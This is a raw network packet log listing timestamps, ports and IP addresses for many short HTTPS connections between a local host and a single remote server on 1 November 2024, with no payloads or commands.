Nov 1, 2024 03:46:35.286720037 CET	443	49965	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:35.286799908 CET	443	49965	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:35.287050009 CET	49965	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:35.287154913 CET	49965	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:35.287154913 CET	49965	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:35.287178040 CET	443	49965	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:35.287189960 CET	443	49965	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:35.290527105 CET	49970	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:35.290555000 CET	443	49970	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:35.290640116 CET	49970	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:35.290807962 CET	49970	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:35.290823936 CET	443	49970	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:35.300734997 CET	443	49966	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:35.300894976 CET	443	49966	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:35.300940990 CET	443	49966	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:35.300944090 CET	49966	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:35.301014900 CET	49966	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:35.301043987 CET	49966	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:35.301053047 CET	443	49966	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:35.301105022 CET	49966	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:35.301110029 CET	443	49966	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:35.303484917 CET	49971	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:35.303525925 CET	443	49971	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:35.303599119 CET	49971	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:35.303729057 CET	49971	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:35.303745031 CET	443	49971	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:35.312975883 CET	443	49967	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:35.313043118 CET	443	49967	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:35.313216925 CET	49967	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:35.313216925 CET	49967	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:35.313235998 CET	49967	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:35.313245058 CET	443	49967	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:35.315373898 CET	49972	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:35.315392971 CET	443	49972	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:35.315483093 CET	49972	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:35.315607071 CET	49972	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:35.315619946 CET	443	49972	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:35.352086067 CET	443	49968	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:35.352590084 CET	49968	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:35.352600098 CET	443	49968	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:35.353069067 CET	49968	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:35.353075027 CET	443	49968	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:35.483299017 CET	443	49968	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:35.483386993 CET	443	49968	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:35.483478069 CET	49968	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:35.483767033 CET	49968	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:35.483788967 CET	443	49968	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:35.483819962 CET	49968	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:35.483833075 CET	443	49968	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:35.486841917 CET	49973	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:35.486859083 CET	443	49973	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:35.486967087 CET	49973	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:35.487102985 CET	49973	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:35.487112999 CET	443	49973	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:35.615326881 CET	443	49969	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:35.617013931 CET	49969	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:35.617079973 CET	443	49969	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:35.617516041 CET	49969	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:35.617522955 CET	443	49969	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:35.744420052 CET	443	49969	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:35.744492054 CET	443	49969	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:35.744535923 CET	443	49969	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:35.744544029 CET	49969	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:35.744586945 CET	49969	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:35.744741917 CET	49969	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:35.744791985 CET	443	49969	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:35.744826078 CET	49969	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:35.744842052 CET	443	49969	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:35.748019934 CET	49974	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:35.748047113 CET	443	49974	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:35.748223066 CET	49974	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:35.748356104 CET	49974	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:35.748369932 CET	443	49974	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.008440018 CET	443	49970	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.008961916 CET	49970	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:36.008985043 CET	443	49970	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.009445906 CET	49970	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:36.009450912 CET	443	49970	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.045638084 CET	443	49971	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.046217918 CET	49971	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:36.046268940 CET	443	49971	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.046700001 CET	49971	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:36.046715975 CET	443	49971	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.052561045 CET	443	49972	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.052905083 CET	49972	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:36.052916050 CET	443	49972	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.053359985 CET	49972	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:36.053365946 CET	443	49972	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.141360998 CET	443	49970	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.141465902 CET	443	49970	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.141571999 CET	49970	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:36.141854048 CET	49970	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:36.141879082 CET	443	49970	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.141921043 CET	49970	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:36.141927004 CET	443	49970	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.145045996 CET	49975	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:36.145071983 CET	443	49975	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.145167112 CET	49975	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:36.145324945 CET	49975	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:36.145337105 CET	443	49975	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.177745104 CET	443	49971	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.177808046 CET	443	49971	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.177855015 CET	443	49971	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.177864075 CET	49971	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:36.177921057 CET	49971	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:36.178267956 CET	49971	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:36.178280115 CET	443	49971	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.178289890 CET	49971	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:36.178293943 CET	443	49971	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.181715965 CET	49976	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:36.181746006 CET	443	49976	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.181842089 CET	49976	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:36.182071924 CET	49976	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:36.182085991 CET	443	49976	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.187684059 CET	443	49972	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.187731981 CET	443	49972	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.187793970 CET	49972	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:36.187978983 CET	49972	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:36.187978983 CET	49972	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:36.187997103 CET	443	49972	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.188007116 CET	443	49972	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.190804958 CET	49977	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:36.190846920 CET	443	49977	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.190920115 CET	49977	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:36.191051006 CET	49977	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:36.191066980 CET	443	49977	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.226320028 CET	443	49973	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.229892015 CET	49973	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:36.229904890 CET	443	49973	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.230819941 CET	49973	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:36.230823994 CET	443	49973	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.357341051 CET	443	49973	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.357410908 CET	443	49973	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.357467890 CET	49973	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:36.357678890 CET	49973	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:36.357678890 CET	49973	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:36.357693911 CET	443	49973	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.357702971 CET	443	49973	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.361212969 CET	49978	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:36.361232042 CET	443	49978	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.361299038 CET	49978	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:36.361453056 CET	49978	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:36.361464024 CET	443	49978	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.484729052 CET	443	49974	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.485141993 CET	49974	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:36.485157967 CET	443	49974	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.485624075 CET	49974	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:36.485630035 CET	443	49974	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.614434958 CET	443	49974	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.614514112 CET	443	49974	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.614564896 CET	49974	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:36.614778042 CET	49974	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:36.614794970 CET	443	49974	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.614805937 CET	49974	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:36.614814043 CET	443	49974	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.620251894 CET	49979	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:36.620297909 CET	443	49979	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.620364904 CET	49979	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:36.620523930 CET	49979	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:36.620533943 CET	443	49979	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.874238014 CET	443	49975	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.874872923 CET	49975	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:36.874886036 CET	443	49975	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.875518084 CET	49975	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:36.875521898 CET	443	49975	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.908550978 CET	443	49976	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.908916950 CET	49976	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:36.908960104 CET	443	49976	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.909455061 CET	49976	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:36.909471035 CET	443	49976	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.917709112 CET	443	49977	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.918163061 CET	49977	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:36.918179035 CET	443	49977	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:36.918584108 CET	49977	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:36.918590069 CET	443	49977	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.002537012 CET	443	49975	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.002563953 CET	443	49975	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.002602100 CET	443	49975	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.002624989 CET	49975	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.002655029 CET	49975	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.002841949 CET	49975	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.002859116 CET	443	49975	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.002929926 CET	49975	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.002937078 CET	443	49975	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.005390882 CET	49980	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.005419970 CET	443	49980	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.005491018 CET	49980	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.005610943 CET	49980	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.005628109 CET	443	49980	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.038636923 CET	443	49976	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.038711071 CET	443	49976	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.038889885 CET	49976	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.038918972 CET	49976	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.038918972 CET	49976	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.038934946 CET	443	49976	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.038944960 CET	443	49976	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.041102886 CET	49981	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.041136026 CET	443	49981	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.041210890 CET	49981	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.041342020 CET	49981	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.041356087 CET	443	49981	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.047631025 CET	443	49977	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.047694921 CET	443	49977	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.047730923 CET	443	49977	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.047789097 CET	49977	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.047854900 CET	49977	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.047867060 CET	443	49977	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.047878027 CET	49977	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.047883034 CET	443	49977	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.049890995 CET	49982	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.049911976 CET	443	49982	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.049988985 CET	49982	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.050107002 CET	49982	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.050117970 CET	443	49982	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.089337111 CET	443	49978	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.089674950 CET	49978	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.089696884 CET	443	49978	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.090111017 CET	49978	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.090122938 CET	443	49978	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.219609022 CET	443	49978	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.219960928 CET	443	49978	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.220036030 CET	49978	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.220155001 CET	49978	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.220155001 CET	49978	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.220191002 CET	443	49978	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.220211029 CET	443	49978	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.223104954 CET	49983	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.223143101 CET	443	49983	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.223284960 CET	49983	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.223433971 CET	49983	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.223447084 CET	443	49983	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.348786116 CET	443	49979	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.349194050 CET	49979	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.349214077 CET	443	49979	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.349651098 CET	49979	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.349657059 CET	443	49979	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.477880001 CET	443	49979	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.477957010 CET	443	49979	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.478008032 CET	443	49979	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.478162050 CET	49979	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.478204966 CET	49979	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.478220940 CET	443	49979	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.478231907 CET	49979	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.478236914 CET	443	49979	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.480873108 CET	49984	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.480900049 CET	443	49984	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.480986118 CET	49984	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.481123924 CET	49984	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.481137991 CET	443	49984	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.724653006 CET	443	49980	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.725189924 CET	49980	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.725214005 CET	443	49980	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.725668907 CET	49980	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.725675106 CET	443	49980	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.770272017 CET	443	49981	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.770766020 CET	49981	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.770782948 CET	443	49981	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.771047115 CET	49981	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.771053076 CET	443	49981	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.773441076 CET	443	49982	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.773710012 CET	49982	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.773725986 CET	443	49982	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.774070024 CET	49982	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.774075031 CET	443	49982	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.855936050 CET	443	49980	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.856272936 CET	443	49980	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.860224962 CET	49980	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.860224962 CET	49980	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.860224962 CET	49980	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.862718105 CET	49985	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.862754107 CET	443	49985	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.862831116 CET	49985	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.863002062 CET	49985	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.863017082 CET	443	49985	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.899816036 CET	443	49981	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.899883032 CET	443	49981	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.900104046 CET	49981	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.900296926 CET	49981	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.900296926 CET	49981	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.900315046 CET	443	49981	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.900324106 CET	443	49981	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.901653051 CET	443	49982	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.901707888 CET	443	49982	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.901772022 CET	49982	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.901904106 CET	49982	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.901916027 CET	443	49982	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.901926041 CET	49982	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.901931047 CET	443	49982	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.902776957 CET	49986	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.902797937 CET	443	49986	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.902880907 CET	49986	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.902996063 CET	49986	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.903008938 CET	443	49986	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.903800011 CET	49987	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.903811932 CET	443	49987	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.903878927 CET	49987	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.904004097 CET	49987	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.904019117 CET	443	49987	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.965333939 CET	443	49983	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.965832949 CET	49983	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.965842009 CET	443	49983	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:37.966192961 CET	49983	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:37.966197014 CET	443	49983	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:38.095803022 CET	443	49983	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:38.095885992 CET	443	49983	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:38.095932961 CET	443	49983	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:38.096107960 CET	49983	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:38.096174002 CET	49983	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:38.096184015 CET	443	49983	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:38.096194029 CET	49983	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:38.096199989 CET	443	49983	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:38.099081039 CET	49988	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:38.099107027 CET	443	49988	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:38.099188089 CET	49988	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:38.099339008 CET	49988	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:38.099348068 CET	443	49988	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:38.162367105 CET	49980	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:38.162388086 CET	443	49980	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:38.230601072 CET	443	49984	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:38.235089064 CET	49984	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:38.235105991 CET	443	49984	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:38.235728025 CET	49984	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:38.235733986 CET	443	49984	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:38.362006903 CET	443	49984	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:38.362210989 CET	443	49984	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:38.362271070 CET	49984	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:38.362418890 CET	49984	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:38.362436056 CET	443	49984	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:38.362447023 CET	49984	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:38.362452984 CET	443	49984	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:38.365680933 CET	49989	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:38.365765095 CET	443	49989	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:38.365942955 CET	49989	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:38.366220951 CET	49989	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:38.366255999 CET	443	49989	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:38.598526955 CET	443	49985	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:38.599004984 CET	49985	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:38.599033117 CET	443	49985	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:38.599471092 CET	49985	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:38.599477053 CET	443	49985	13.107.246.45	192.168.2.4
